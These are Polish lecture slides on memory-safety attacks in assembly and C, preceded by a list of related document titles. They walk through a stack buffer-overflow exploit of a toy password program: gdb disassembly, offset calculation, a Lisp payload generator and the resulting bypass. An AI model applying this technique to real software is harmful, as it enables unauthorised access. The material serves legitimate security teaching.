Programowanie w asemblerze Aspekty bezpieczeństwa

Podobne dokumenty
Przepełnienie bufora i łańcuchy formatujace

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Błędy łańcuchów formatujących (format string) by h07

Buffer Overflow (art. 2) by h07

Programowanie w asemblerze Linkowanie

Programowanie Niskopoziomowe

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego

Assembler w C++ Syntaksa AT&T oraz Intela

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Wskaźniki. Informatyka

Return-oriented exploiting

Wstęp do Programowania, laboratorium 02

Parę słów o przepełnieniu bufora.

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom).

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.

Programowanie niskopoziomowe

Wstęp do programowania INP003203L rok akademicki 2018/19 semestr zimowy. Laboratorium 2. Karol Tarnowski A-1 p.

Wstęp do programowania

Programowanie w asemblerze Uruchamianie programów

1 Pierwsze kroki w C++ cz.3 2 Obsługa plików

PMiK Programowanie Mikrokontrolera 8051

Podstawy programowania C. dr. Krystyna Łapin

Systemy Operacyjne - Operacje na plikach

Ćwiczenie 3. Konwersja liczb binarnych

Struktury. Przykład W8_1

int tab[5]; tab[1]; ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu macierz [ ] - dwuargumentowy operator indeksowania

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

Programowanie w językach wysokiego poziomu

Podstawy programowania w języku C++

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Metody Realizacji Języków Programowania

Ćwiczenie nr 6. Programowanie mieszane

Podstawy programowania w języku C++

Optymalizacja szelkodów w Linuksie

Języki i metodyka programowania. Wprowadzenie do języka C

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Stałe i zmienne znakowe. Stała znakowa: znak

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Microsoft IT Academy kurs programowania

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 26 marca kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40

Biblioteka standardowa - operacje wejścia/wyjścia

1. Pierwszy program. Kompilator ignoruje komentarze; zadaniem komentarza jest bowiem wyjaśnienie programu człowiekowi.

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

Podstawy programowania w języku C++

Przedmiot : Programowanie w języku wewnętrznym. Ćwiczenie nr 4

CODE::BLOCKS & VALGRIND OPRACOWAŁ MICHAŁ BETHKE

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Języki programowania obiektowego Nieobiektowe elementy języka C++

Narzędzia informatyczne w językoznawstwie

Programowanie hybrydowe C (C++) - assembler. MS Visual Studio Inline Assembler

KONSTRUKCJA KOMPILATORÓW

Temat 1: Podstawowe pojęcia: program, kompilacja, kod

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.

Konwersje napis <-> liczba Struktury, unie Scanf / printf Wskaźniki

Kompilator języka C na procesor 8051 RC51 implementacja

PROGRAMOWANIE NISKOPOZIOMOWE

Języki i metodyka programowania. Wskaźniki i tablice.

ZASADY PROGRAMOWANIA KOMPUTERÓW

Tablice, funkcje - wprowadzenie

Wstęp do programowania INP003203L rok akademicki 2018/19 semestr zimowy. Laboratorium 3. Karol Tarnowski A-1 p.

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Tablice wielowymiarowe. Przykład tablica 2-wymiarowa. Przykład. Przykład 3-wymiarowy. Tak naprawdę nie istnieją w C! Rozważmy tablicę o rozmiarze 3x2

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

Kurs programowania. Wykład 3. Wojciech Macyna. 22 marca 2019

Architektura komputerów

Podstawy programowania. Wykład 7 Tablice wielowymiarowe, SOA, AOS, itp. Krzysztof Banaś Podstawy programowania 1

Wstęp do programowania INP003203L rok akademicki 2016/17 semestr zimowy. Laboratorium 1. Karol Tarnowski A-1 p.

Język ludzki kod maszynowy

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch

PARADYGMATY PROGRAMOWANIA Wykład 4

część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia

Wskaźniki w C. Anna Gogolińska

Program wykonujący operację na plikach powinien zachować schemat działania zapewniający poprawną pracę:

Programowanie komputerowe. Zajęcia 4

DYNAMICZNE PRZYDZIELANIE PAMIECI

Języki programowania. Przetwarzanie tablic znaków. Część druga. Autorzy Tomasz Xięski Roman Simiński

Pobieranie argumentów wiersza polecenia

Podstawy programowania 2. Przygotował: mgr inż. Tomasz Michno

Podstawy programowania

Tablice (jedno i wielowymiarowe), łańcuchy znaków

wykład II uzupełnienie notatek: dr Jerzy Białkowski Programowanie C/C++ Język C - funkcje, tablice i wskaźniki wykład II dr Jarosław Mederski Spis

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

Programowanie w elektronice: Podstawy C

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Wskaźniki. Programowanie Proceduralne 1

Struktura i działanie jednostki centralnej

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013

Laboratorium 3: Tablice, tablice znaków i funkcje operujące na ciągach znaków. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Programowanie w C++ Wykład 11. Katarzyna Grzelak. 21 maja K.Grzelak (Wykład 11) Programowanie w C++ 1 / 24

Uniwersytet Zielonogórski Instytut Sterowania i Systemów Informatycznych. Ćwiczenie 3 stos Laboratorium Metod i Języków Programowania

JĘZYKI PROGRAMOWANIA Z PROGRAMOWANIEM OBIEKTOWYM. Wykład 6

Typy wyliczeniowe Konwersje napis <-> liczba Struktury, unie Scanf / printf Wskaźniki

Środowisko Keil. Spis treści. Krzysztof Świentek. Systemy wbudowane. 1 Trochę teorii. 2 Keil

Zmienne, stałe i operatory

Języki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście.

Transkrypt:

Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016

Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach strony/segmentu nie wolno ustawić obu tych atrybutów równocześnie. Nie rozwiazuje to jednak całkowicie problemów.

Interpretery Strony z programami interpretowanymi nie musza być wykonywalne, bo to dane dla interpretera. Sa to jednak programy, więc należy je chronić przed zapisem. Niektóre języki (np. Prolog) pozwalaja dynamicznie dołaczać do programu nowy kod.

Kompilatory JIT Niektóre języki programowania dopuszczaja kompilację w locie, (Just In Time). Oznacza to, że kompilator zapisuje w pamięci (czyli na stronach) kod binarny. Kod ten jest następnie wykonywany.

Adresy Gdy nie można zmienić kodu programu, to może spróbować użyć jego części niezgodnie z przeznaczeniem. Zmienne zawierajace wskaźniki nie moga być chronione przed zapisem. Można więc w nich umieścić dowolny adres z kodu programu. Sa jeszcze struktury ukryte (stos), w nich też bywaja adresy (np. powrotne).

Przepełnienie bufora Bufor: w zasadzie dowolny obszar w pamięci. Zwykle jednak na stosie, jako zmienna lokalna. Najczęściej tablica znaków (napis). Wpisujemy więcej bajtów, niż wynosi jej rozmiar. Następuje nadpisanie elementów stosu znajdujacych się poniżej: inne zmienne lokalne, adres powrotny.

Przepełnienie bufora na stosie Wymaga analizy kodu programu, bo przydzielajac pamięć na zmienne lokalne kompilator wyrównuje stos (a czasem bez powodu lub z powodem znaczniki ochrony pamięci zostawia luki). W GCC steruje tym opcja -mpreferred-stack-boundary.

Prosty przykład int main (int argc, char **argv) { int ok = 0; char hasło[10]; } printf("podaj hasło:"); scanf("%s", hasło); if (strcmp(haslo,"tajne") == 0) ok = 1; if (!ok) exit(1); printf("ok\n");

Prosty przykład Po wywołaniu naszego programu $./test1 Podaj hasło:aaaaaaaaaaaa Ok A więc nie tylko strcpy() jest niebezpieczna. W tym przypadku wystarczyłoby scanf("%9s", hasło); No to jeszcze raz: $./test1 Podaj hasło:aaaaaaaaaaaaaaaaaaaaaaaaaa Ok Naruszenie ochrony pamięci (core dumped) Ostrzegałem, że sa luki na stosie!

Nowy przykład Jeśli nie ma zmiennej do nadpisania, to sprawy się komplikuja: int main (int argc, char **argv) { char hasło[10]; } printf("podaj hasło:"); scanf("%s", hasło); if (strcmp(haslo,"tajne")!= 0) return 1; printf("ok\n"); return 0; Ale jest szansa: w trosce o przenośność nie użyto exita. Spróbujmy więc podmienić adres powrotny.

Adres powrotny Chcemy podmienić adres powrotny tak, aby kierował do wywołania printf. Nie obejdzie się bez zwiedzenia kodu debuggerem (albo innym sympatycznym narzędziem). Załóżmy, że dostępna jest zewnętrzna informacja symboliczna (w praktyce nie ma na to co liczyć, ale można sobie z tym poradzić w końcu jesteśmy pracowici). I tu pierwsza niespodzianka: w C dwa printfy, a tu tylko jeden!

Debugger (gdb) disassemble main 0x08048474 <main+0>: push 0x08048475 <main+1>: mov 0x08048477 <main+3>: and 0x0804847a <main+6>: sub 0x0804847d <main+9>: mov 0x08048482 <main+14>: mov 0x08048485 <main+17>: call... 0x0804849a <main+38>: call... 0x080484ae <main+58>: call 0x080484b3 <main+63>: test 0x080484b5 <main+65>: je 0x080484b7 <main+67>: mov 0x080484bc <main+72>: jmp 0x080484be <main+74>: movl 0x080484c5 <main+81>: call 0x080484ca <main+86>: mov 0x080484cf <main+91>: leave 0x080484d0 <main+92>: ret %ebp %esp,%ebp $0xfffffff0,%esp $0x20,%esp $0x80485a4,%eax %eax,(%esp) 0x8048378 <printf@plt> 0x8048388 < isoc99_scanf@plt> 0x80483a8 <strcmp@plt> %eax,%eax 0x80484be <main+74> $0x1,%eax 0x80484cf <main+91> $0x80485bb,(%esp) 0x8048398 <puts@plt> $0x0,%eax

Adres powrotny Precyzyjna analiza organoleptyczna wykazuje jednak obecność wywołania puts() cóż za chytra optymalizacja. Zapamiętajmy jego adres, musimy go zamienić na ciag znaków (pamiętajmy o małym Indianinie) 0x080484be = trzy-czwarte znak-o-kodzie-84 Eot i Backspace Mogło być gorzej, np. znak o kodzie 0. Teraz pozostaje tylko ustalić długość danych wejściowych, aby nadpisać adres powrotny.

Adres powrotny Teoretycznie wszystko na stosie jest wyrównane do 4, ale to nieprawda, np. dla bufora hasło. Trzeba się dalej bratać z debuggerem. (gdb) print &haslo $2 = (char (*)[10]) 0xbffff1d6 (gdb) info reg... esp 0xbffff1c0 0xbffff1c0 ebp 0xbffff1e8 0xbffff1e8... Szybkie obliczenie 0xbffff1e8-0xbffff1d6 = 18 Dodajemy 4 bajty na EBP i 4 na EIP, czyli musimy mieć 26 bajtów.

Lekki tool w Lispie (defun hexconv (hexnum ile) (labels ((to-chars (hexnum) (multiple-value-bind (iloraz reszta) (truncate hexnum 256) (cons (code-char reszta) (if (= iloraz 0) () (to-chars iloraz)))))) (let ((chars (coerce (to-chars hexnum) string))) (with-open-file (s "foo.txt" :direction :output :external-format :latin1 :if-exists :supersede) (dotimes (i (- ile (length chars))) (princ "a" s)) (princ chars s)) ok)))

Finał Nie lubimy UTF-8! Odpalamy maszynerię $ lisp... * (load "hexconv.lisp") NIL * (hexconv #x080484be 26) OK * (quit) $./test2 <foo.txt Podaj hasło:ok Naruszenie ochrony pamięci (core dumped) Końcowy bład wynika z popsucia stosu program wracał po raz drugi, ale poprzednio mu ukradli adres powrotny.

Marzenia Niestety nie mamy jak zachować starego adresu powrotnego, ale możemy dopisać na koniec naszego kodu jakiś dogodny adres, np. funkcji exit(). Fajnie byłoby, gdyby zamiast printf w programie było wywołanie shella. Ale na razie cieszmy się tym co mamy, tyle jest programów chronionych hasłem... A do marzeń jeszcze wrócimy